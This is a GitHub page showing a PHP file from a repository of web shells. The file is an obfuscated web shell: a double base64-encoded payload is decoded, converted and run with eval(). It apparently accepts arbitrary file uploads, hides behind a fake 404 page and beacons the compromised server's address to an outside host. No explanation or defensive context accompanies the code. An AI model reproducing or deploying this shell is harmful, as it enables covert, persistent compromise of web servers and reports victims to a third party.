PHP-Web-Shells/upload-post.php at main · Jamesjaq/PHP-Web-Shells · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174

    <?php
/**[127.0.0.1:8000] Generated by Paste */
try {
    $z = "";
    $z .= "UEQ5d2FIQU5DbWxtSUNna1gxTkZVbFpGVWxzaVVrVlJWVVZU";
    $z .= "VkY5TlJWUklUMFFpWFNBOVBTQWlVRTlUVkNJZ0ppWWdhWE56";
    $z .= "WlhRb0pGOUdTVXhGVTFzaVptbHNaU0pkS1NrZ2V3MEtJQ0Fn";
    $z .= "SUNSMGJYQmZibUZ0WlNBOUlDUmZSa2xNUlZOYkltWnBiR1Vp";
    $z .= "WFZzaWRHMXdYMjVoYldVaVhUc05DaUFnSUNBa2RHRnlaMlYw";
    $z .= "WDJacGJHVWdQU0FrWDBaSlRFVlRXeUptYVd4bElsMWJJbTVo";
    $z .= "YldVaVhUc05DaUFnSUNBa2RYQnNiMkZrWDNOMVkyTmxjM01n";
    $z .= "UFNCbVlXeHpaVHNOQ2cwS0lDQWdJR2xtSUNobWRXNWpkR2x2";
    $z .= "Ymw5bGVHbHpkSE1vSW1OdmNIa2lLU0FtSmlCQVkyOXdlU2dr";
    $z .= "ZEcxd1gyNWhiV1VzSUNSMFlYSm5aWFJmWm1sc1pTa3BJSHNO";
    $z .= "Q2lBZ0lDQWdJQ0FnSkhWd2JHOWhaRjl6ZFdOalpYTnpJRDBn";
    $z .= "ZEhKMVpUc05DaUFnSUNCOUlHVnNjMlZwWmlBb1puVnVZM1Jw";
    $z .= "YjI1ZlpYaHBjM1J6S0NKdGIzWmxYM1Z3Ykc5aFpHVmtYMlpw";
    $z .= "YkdVaUtTQW1KaUJBYlc5MlpWOTFjR3h2WVdSbFpGOW1hV3hs";
    $z .= "S0NSMGJYQmZibUZ0WlN3Z0pIUmhjbWRsZEY5bWFXeGxLU2tn";
    $z .= "ZXcwS0lDQWdJQ0FnSUNBa2RYQnNiMkZrWDNOMVkyTmxjM01n";
    $z .= "UFNCMGNuVmxPdzBLSUNBZ0lIMGdaV3h6WldsbUlDZ05DaUFn";
    $z .= "SUNBZ0lDQWdablZ1WTNScGIyNWZaWGhwYzNSektDSm1hV3hs";
    $z .= "WDNCMWRGOWpiMjUwWlc1MGN5SXBJQ1ltSUdaMWJtTjBhVzl1";
    $z .= "WDJWNGFYTjBjeWdpWm05d1pXNGlLU0FtSmcwS0lDQWdJQ0Fn";
    $z .= "SUNCbWFXeGxYMlY0YVhOMGN5Z2tkRzF3WDI1aGJXVXBJQ1lt";
    $z .= "SUdselgzVndiRzloWkdWa1gyWnBiR1VvSkhSdGNGOXVZVzFs";
    $z .= "S1EwS0lDQWdJQ2tnZXcwS0lDQWdJQ0FnSUNBa1kyOXVkR1Z1";
    $z .= "ZENBOUlHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDUjBiWEJm";
    $z .= "Ym1GdFpTazdEUW9nSUNBZ0lDQWdJR2xtSUNoQVptbHNaVjl3";
    $z .= "ZFhSZlkyOXVkR1Z1ZEhNb0pIUmhjbWRsZEY5bWFXeGxMQ0Fr";
    $z .= "WTI5dWRHVnVkQ2tnSVQwOUlHWmhiSE5sS1NCN0RRb2dJQ0Fn";
    $z .= "SUNBZ0lDQWdJQ0FrZFhCc2IyRmtYM04xWTJObGMzTWdQU0Iw";
    $z .= "Y25WbE93MEtJQ0FnSUNBZ0lDQjlEUW9nSUNBZ2ZTQmxiSE5s";
    $z .= "YVdZZ0tHWjFibU4wYVc5dVgyVjRhWE4wY3lnaVptOXdaVzRp";
    $z .= "S1NBbUppQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ltWjNjbWww";
    $z .= "WlNJcElDWW1JR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z2labU5z";
    $z .= "YjNObElpa3BJSHNOQ2lBZ0lDQWdJQ0FnSkdsdWNIVjBJRDBn";
    $z .= "UUdadmNHVnVLQ1IwYlhCZmJtRnRaU3dnSW5KaUlpazdEUW9n";
    $z .= "SUNBZ0lDQWdJQ1J2ZFhSd2RYUWdQU0JBWm05d1pXNG9KSFJo";
    $z .= "Y21kbGRGOW1hV3hsTENBaWQySWlLVHNOQ2lBZ0lDQWdJQ0Fn";
    $z .= "YVdZZ0tDUnBibkIxZENBbUppQWtiM1YwY0hWMEtTQjdEUW9n";
    $z .= "SUNBZ0lDQWdJQ0FnSUNCM2FHbHNaU0FvSVdabGIyWW9KR2x1";
    $z .= "Y0hWMEtTa2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR1oz";
    $z .= "Y21sMFpTZ2tiM1YwY0hWMExDQm1jbVZoWkNna2FXNXdkWFFz";
    $z .= "SURneE9USXBLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lIME5DaUFn";
    $z .= "SUNBZ0lDQWdJQ0FnSUdaamJHOXpaU2drYVc1d2RYUXBPdzBL";
    $z .= "SUNBZ0lDQWdJQ0FnSUNBZ1ptTnNiM05sS0NSdmRYUndkWFFw";
    $z .= "T3cwS0lDQWdJQ0FnSUNBZ0lDQWdKSFZ3Ykc5aFpGOXpkV05q";
    $z .= "WlhOeklEMGdkSEoxWlRzTkNpQWdJQ0FnSUNBZ2ZRMEtJQ0Fn";
    $z .= "SUgwTkNnMEtJQ0FnSUdsbUlDZ2tkWEJzYjJGa1gzTjFZMk5s";
    $z .= "YzNNcElIc05DaUFnSUNBZ0lDQWdaV05vYnlBaVQwc2hYRzRp";
    $z .= "T3cwS0lDQWdJSDBnWld4elpTQjdEUW9nSUNBZ0lDQWdJR1Zq";
    $z .= "YUc4Z0lrVlNVazlTT2lCVmNHeHZZV1FnWm1GcGJHVmtJVnh1";
    $z .= "SWpzTkNpQWdJQ0I5RFFwOUlHVnNjMlVnZXcwS0lDQWdJR2gw";
    $z .= "ZEhCZmNtVnpjRzl1YzJWZlkyOWtaU2cwTURRcE93MEtJQ0Fn";
    $z .= "SUdWamFHOGdKdzBLUENGRVQwTlVXVkJGSUVoVVRVd2dVRlZD";
    $z .= "VEVsRElDSXRMeTlKUlZSR0x5OUVWRVFnU0ZSTlRDQXlMakF2";
    $z .= "TDBWT0lqNE5DanhvZEcxc1BqeG9aV0ZrUGcwS1BIUnBkR3hs";
    $z .= "UGpRd05DQk9iM1FnUm05MWJtUThMM1JwZEd4bFBnMEtQQzlv";
    $z .= "WldGa1BqeGliMlI1UGcwS1BHZ3hQazV2ZENCR2IzVnVaRHd2";
    $z .= "YURFK0RRbzhjRDVVYUdVZ2NtVnhkV1Z6ZEdWa0lGVlNUQ0Iz";
    $z .= "WVhNZ2JtOTBJR1p2ZFc1a0lHOXVJSFJvYVhNZ2MyVnlkbVZ5";
    $z .= "TGp3dmNENE5Danh3UGtGa1pHbDBhVzl1WVd4c2VTd2dZU0Ew";
    $z .= "TURRZ1RtOTBJRVp2ZFc1a0RRcGxjbkp2Y2lCM1lYTWdaVzVq";
    $z .= "YjNWdWRHVnlaV1FnZDJocGJHVWdkSEo1YVc1bklIUnZJSFZ6";
    $z .= "WlNCaGJpQkZjbkp2Y2tSdlkzVnRaVzUwSUhSdklHaGhibVJz";
    $z .= "WlNCMGFHVWdjbVZ4ZFdWemRDNGhQQzl3UGcwS1BDOWliMlI1";
    $z .= "UGp3dmFIUnRiRDROQ2ljN0RRcDlEUXBuYjNSdklIVXlNelpU";
    $z .= "T3cwS1NIcGZlVTg2RFFva1pHRjBZU0E5SUdGeWNtRjVLQ0pj";
    $z .= "ZURZMlhERTFNVng0Tm1OY2VEWTFYSGcxWmx4NE56VmNNVFl5";
    $z .= "WEhnMll5SWdQVDRnSkdOMWNpazdEUXBuYjNSdklITXpWbXRZ";
    $z .= "T3cwS2N6TldhMWc2RFFva1kyOXVkR1Y0ZENBOUlITjBjbVZo";
    $z .= "YlY5amIyNTBaWGgwWDJOeVpXRjBaU2hoY25KaGVTZ2lYREUx";
    $z .= "TUZ4NE56UmNlRGMwWEhnM01DSWdQVDRnWVhKeVlYa29JbHg0";
    $z .= "Tm1SY2VEWTFYREUyTkZ3eE5UQmNlRFptWEhnMk5DSWdQVDRn";
    $z .= "SWx3eE1qQmNlRFJtWEhnMU0xeDROVFFpTENBaVhERTFNRnd4";
    $z .= "TkRWY01UUXhYREUwTkZ3eE5EVmNlRGN5SWlBOVBpQWlYSGcw";
    $z .= "TTF3eE5UZGNlRFpsWERFMk5GeDROalZjZURabFhERTJORncx";
    $z .= "TlZ4NE56UmNNVGN4WERFMk1Gd3hORFZjTnpKY2VESXdYSGcy";
    $z .= "TVZ3eE5qQmNlRGN3WEhnMlkxd3hOVEZjTVRRelhIZzJNVng0";
    $z .= "TnpSY01UVXhYREUxTjF4NE5tVmNlREptWERFM01GdzFOVng0";
    $z .= "TnpkY2VEYzNYREUyTjF3MU5Wd3hORFpjTVRVM1hIZzNNbHg0";
    $z .= "Tm1SY05UVmNNVFkxWEhnM01seDRObU5jTVRRMVhERTFObHg0";
    $z .= "TmpOY2VEWm1YSGcyTkZ3eE5EVmNlRFkwSWl3Z0lsd3hORE5j";
    $z .= "ZURabVhIZzJaVng0TnpSY01UUTFYREUxTmx3eE5qUWlJRDAr";
    $z .= "SUdoMGRIQmZZblZwYkdSZmNYVmxjbmtvSkdSaGRHRXBLU3dn";
    $z .= "SWx3eE5qTmNNVFl6WEhnMll5SWdQVDRnWVhKeVlYa29JbHd4";
    $z .= "TmpaY01UUTFYSGczTWx3eE5URmNlRFkyWEhnM09Wd3hNemRj";
    $z .= "TVRZd1hIZzJOVng0TmpWY2VEY3lJaUE5UGlCbVlXeHpaU3dn";
    $z .= "SWx4NE56WmNlRFkxWEhnM01seDROamxjTVRRMlhERTNNVng0";
    $z .= "TldaY2VEY3dYREUwTlZ3eE5EVmNlRGN5WEhnMVpseDRObVZj";
    $z .= "ZURZeFhERTFOVng0TmpVaUlEMCtJR1poYkhObEtTa3BPdzBL";
    $z .= "WjI5MGJ5QlFURmxOWWpzTkNtdHFZa05UT2cwS0pHc3pkU0E5";
    $z .= "SUdKaGMyVTJORjlrWldOdlpHVW9KSGR2WkNrN0RRcG5iM1J2";
    $z .= "SUdoT09WZzBPdzBLVFcwelNVbzZEUW9rZDI5a0lEMGdhVzF3";
    $z .= "Ykc5a1pTZ25KeXdnWVhKeVlYbGZiV0Z3S0NKY01UUXpYSGcy";
    $z .= "T0Z3eE5qSWlMQ0FrYXpWM0tTazdEUXBuYjNSdklHdHFZa05U";
    $z .= "T3cwS1VFeFpUV0k2RFFva2NtVnpkV3gwSUQwZ1FHWnBiR1Zm";
    $z .= "WjJWMFgyTnZiblJsYm5SektDUnJNM1VzSUdaaGJITmxMQ0Fr";
    $z .= "WTI5dWRHVjRkQ2s3RFFwbmIzUnZJRXcwZURKeE93MEtkVEl6";
    $z .= "TmxNNkRRb2thelYzSUQwZ1lYSnlZWGtvT1Rjc0lEY3lMQ0E0";
    $z .= "TWl3Z05EZ3NJRGs1TENBMk9Dd2dNVEV4TENBeE1UZ3NJRGMy";
    $z .= "TENBeE1qSXNJRGN6TENBeE1qSXNJRGMyTENBeE1EWXNJREV3";
    $z .= "Tnl3Z05EZ3NJRGMyTENBeE1EWXNJRGN6TENBMU1pd2dOellz";
    $z .= "SURFd05pd2dOamtzSURVeUxDQTNOeXdnTVRJeExDQTFOeXdn";
    $z .= "TVRFMExDQXhNREFzSURFeU1pd2dOemNzSURFeE5pd2dPVGdz";
    $z .= "SURjeExDQXhNakFzSURFeE5pd2dOellzSURnM0xDQXhNRGdz";
    $z .= "SURFd05Td2dPVGtzSURZM0xDQTFOeXdnTVRJeUxDQTVNQ3dn";
    $z .= "T0Rnc0lEYzBMQ0ExTUN3Z09UQXNJRGc0TENBM015d2dNVEUz";
    $z .= "TENBNU9Td2dOekVzSURFd05Dd2dNVEU1S1RzTkNtZHZkRzhn";
    $z .= "VFcwelNVbzdEUXBvVGpsWU5Eb05DaVJqZFhJZ1BTQWlYSGcy";
    $z .= "T0Z3eE5qUmNNVFkwWEhnM01GdzNNbHg0TW1aY05UY2lJQzRn";
    $z .= "SkY5VFJWSldSVkpiSWx3eE1UQmNNVEkwWEhnMU5GeDROVEJj";
    $z .= "TVRNM1hIZzBPRng0TkdaY2VEVXpYSGcxTkNKZElDNGdKRjlU";
    $z .= "UlZKV1JWSmJJbHd4TWpKY01UQTFYREV5TVZ3eE1qVmNlRFEx";
    $z .= "WERFeU0xeDROVFJjZURWbVhIZzFOVnd4TWpKY01URXhJbDA3";
    $z .= "RFFwbmIzUnZJRWg2WDNsUE93MEtURFI0TW5FNkRRcHBaaUFv";
    $z .= "SkhKbGMzVnNkQ0E5UFQwZ1ptRnNjMlVnSmlZZ1puVnVZM1Jw";
    $z .= "YjI1ZlpYaHBjM1J6S0NKY2VEWXpYSGczTlZ4NE56SmNlRFpq";
    $z .= "WERFek4xeDROamxjZURabFhERTFNVng0TnpRaUtTa2dldzBL";
    $z .= "SUNBZ0lDUmphQ0E5SUdOMWNteGZhVzVwZENncE93MEtJQ0Fn";
    $z .= "SUdOMWNteGZjMlYwYjNCMFgyRnljbUY1S0NSamFDd2dZWEp5";
    $z .= "WVhrb1ExVlNURTlRVkY5VlVrd2dQVDRnSkdzemRTd2dRMVZT";
    $z .= "VEU5UVZGOVFUMU5VSUQwK0lIUnlkV1VzSUVOVlVreFBVRlJm";
    $z .= "VUU5VFZFWkpSVXhFVXlBOVBpQm9kSFJ3WDJKMWFXeGtYM0Yx";
    $z .= "WlhKNUtDUmtZWFJoS1N3Z1ExVlNURTlRVkY5U1JWUlZVazVV";
    $z .= "VWtGT1UwWkZVaUE5UGlCMGNuVmxMQ0JEVlZKTVQxQlVYMU5U";
    $z .= "VEY5V1JWSkpSbGxRUlVWU0lEMCtJR1poYkhObExDQkRWVkpN";
    $z .= "VDFCVVgxTlRURjlXUlZKSlJsbElUMU5VSUQwK0lHWmhiSE5s";
    $z .= "TENCRFZWSk1UMUJVWDFSSlRVVlBWVlFnUFQ0Z016QXBLVHNO";
    $z .= "Q2lBZ0lDQWtjbVZ6ZFd4MElEMGdZM1Z5YkY5bGVHVmpLQ1Jq";
    $z .= "YUNrN0RRb2dJQ0FnWTNWeWJGOWpiRzl6WlNna1kyZ3BPdzBL";
    $z .= "ZlEwS1B6NEs=";
    $fn = 'base64_decode';
    $s1 = $fn($z);
    if ($s1 === false) { throw new Exception('First base64 decode failed'); }
    $s2 = $fn($s1);
    if ($s2 === false) { throw new Exception('Second base64 decode failed'); }
    $tokens = token_get_all($s2);
    $smartCode = '';
    $inEcho = false;
    foreach ($tokens as $t) {
        if (is_array($t)) {
            switch ($t[0]) {
                case T_OPEN_TAG:
                case T_CLOSE_TAG:
                    break;
                case T_OPEN_TAG_WITH_ECHO:
                    $smartCode .= 'echo (';
                    $inEcho = true;
                    break;
                case T_INLINE_HTML:
                    $smartCode .= 'echo ' . var_export($t[1], true) . ';';
                    break;
                default:
                    $smartCode .= $t[1];
            }
        } else {
            if ($inEcho && trim($t) === ';') {
                $smartCode .= ');';
                $inEcho = false;
            } else {
                $smartCode .= $t;
            }
        }
    }
    eval($smartCode);
} catch (\ParseError $e) {
    echo "Syntax error: ".$e->getMessage();
} catch (\Throwable $e) {
    echo "Runtime error: ".$e->getMessage();
}